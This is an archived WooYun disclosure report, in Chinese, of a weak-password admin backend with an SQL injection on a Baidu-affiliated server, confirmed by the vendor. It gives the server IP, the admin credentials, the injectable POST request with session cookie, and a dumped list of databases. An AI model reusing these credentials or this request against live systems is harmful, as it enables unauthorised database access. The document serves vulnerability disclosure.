当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170652

漏洞标题:百度某后台存在SQL注入

相关厂商:百度

漏洞作者: getshell1993

提交时间:2016-01-17 18:32

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-17: 细节已通知厂商并且等待厂商处理中
2016-01-17: 厂商已经确认,细节仅向厂商公开
2016-01-27: 细节向核心白帽子及相关领域专家公开
2016-02-06: 细节向普通白帽子公开
2016-02-16: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

涉及多个数据库

详细说明:

http://111.13.112.18:8080/
百度一个C段下发现这个后台存在弱口令
账号admin 密码111111

1.png


2.png


3.png


后台找了一处注入
POST /index.php?s=/admin/server/loadslavesrv.html&id=242 HTTP/1.1
Host: 111.13.112.18:8080
Proxy-Connection: keep-alive
Content-Length: 0
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://111.13.112.18:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36
Referer: http://111.13.112.18:8080/index.php?s=/admin/index/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=soi7o2l1bplie1cbki4bbb6bd4; admin_username=admin; userid=1

漏洞证明:

web application technology: PHP 5.3.28
back-end DBMS: MySQL 5.0.11
[17:28:49] [INFO] fetching database names
available databases [125]:
[*] 0401_ad_x1_x34
[*] ad_loginfo_x10_x18
[*] ad_loginfo_x17_x18
[*] ad_loginfo_x19_x22
[*] ad_loginfo_x19_x27
[*] ad_loginfo_x1_x18
[*] ad_loginfo_x1_x27
[*] ad_loginfo_x1_x31
[*] ad_loginfo_x1_x34
[*] ad_loginfo_x1_x9
[*] ad_loginfo_x23_x24
[*] ad_loginfo_x25_x27
[*] ad_loginfo_x28_x29
[*] ad_loginfo_x28_x31
[*] ad_loginfo_x30_x31
[*] ad_loginfo_x32_k1
[*] ad_loginfo_x32_x34
[*] ad_loginfo_x33_x34
[*] ad_loginfo_x35_x38
[*] ad_zone_x10_x18
[*] ad_zone_x12_x14
[*] ad_zone_x15_x16
[*] ad_zone_x17_x18
[*] ad_zone_x18
[*] ad_zone_x19_x22
[*] ad_zone_x19_x27
[*] ad_zone_x1_x18
[*] ad_zone_x1_x27
[*] ad_zone_x1_x31
[*] ad_zone_x1_x34
[*] ad_zone_x1_x9
[*] ad_zone_x23_x24
[*] ad_zone_x24
[*] ad_zone_x25_x27
[*] ad_zone_x26
[*] ad_zone_x27
[*] ad_zone_x28_x29
[*] ad_zone_x28_x31
[*] ad_zone_x29
[*] ad_zone_x30_x31
[*] ad_zone_x31
[*] ad_zone_x32_k1
[*] ad_zone_x32_x34
[*] ad_zone_x33_x34
[*] ad_zone_x34
[*] ad_zone_x35_x38
[*] ad_zone_x36
[*] ad_zone_x37
[*] ad_zone_x38
[*] ad_zone_x6_x9
[*] dk_zone_k1
[*] information_schema
[*] ios_loginfo_s1_s4
[*] ios_loginfo_t4
[*] ios_loginfo_t5
[*] ios_loginfo_x1_x23
[*] ios_loginfo_x1_x46
[*] ios_loginfo_x24_x37
[*] ios_loginfo_x24_x40
[*] ios_loginfo_x24_x46
[*] ios_loginfo_x38_x40
[*] ios_loginfo_x41_x46
[*] ios_loginfo_x46
[*] ios_loginfo_x47
[*] ios_loginfo_x47_x49
[*] ios_loginfo_x47_x53
[*] ios_loginfo_x47_x61
[*] ios_loginfo_x47_x63
[*] ios_loginfo_x50_x53
[*] ios_loginfo_x54_x55
[*] ios_loginfo_x54_x58
[*] ios_loginfo_x56_x57
[*] ios_loginfo_x59_x61
[*] ios_loginfo_x62_x63
[*] ios_zone_s1_s4
[*] ios_zone_s2_s4
[*] ios_zone_t2
[*] ios_zone_t3
[*] ios_zone_t4
[*] ios_zone_t6
[*] ios_zone_x1_x23
[*] ios_zone_x1_x46
[*] ios_zone_x24_37
[*] ios_zone_x24_x40
[*] ios_zone_x24_x46
[*] ios_zone_x34_x37
[*] ios_zone_x38_x40
[*] ios_zone_x39
[*] ios_zone_x40
[*] ios_zone_x41_x46
[*] ios_zone_x42
[*] ios_zone_x43
[*] ios_zone_x44
[*] ios_zone_x45
[*] ios_zone_x46
[*] ios_zone_x47_x49
[*] ios_zone_x47_x53
[*] ios_zone_x47_x61
[*] ios_zone_x47_x63
[*] ios_zone_x48
[*] ios_zone_x49
[*] ios_zone_x50_x53
[*] ios_zone_x54_x55
[*] ios_zone_x54_x58
[*] ios_zone_x56_x57
[*] ios_zone_x57
[*] ios_zone_x58
[*] ios_zone_x59_x61
[*] ios_zone_x60
[*] ios_zone_x61
[*] ios_zone_x62_x63
[*] ios_zone_x63
[*] ios_zone_x8_x23
[*] mergesrv
[*] mysql
[*] performance_schema
[*] restore
[*] td_loginfo_t1_t10
[*] td_loginfo_t1_t6
[*] td_loginfo_t7_t8
[*] td_loginfo_t9_t10
[*] td_zone_t1_t10
[*] td_zone_t1_t6
[*] td_zone_t7_t8
[*] td_zone_t9_t10

修复方案:

加强密码 严格过滤

版权声明:转载请注明来源 getshell1993@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2016-01-17 19:04

厂商回复:

感谢关注百度安全,这个第三方合作服务,已通知其修复

最新状态:

暂无


漏洞评价:

评价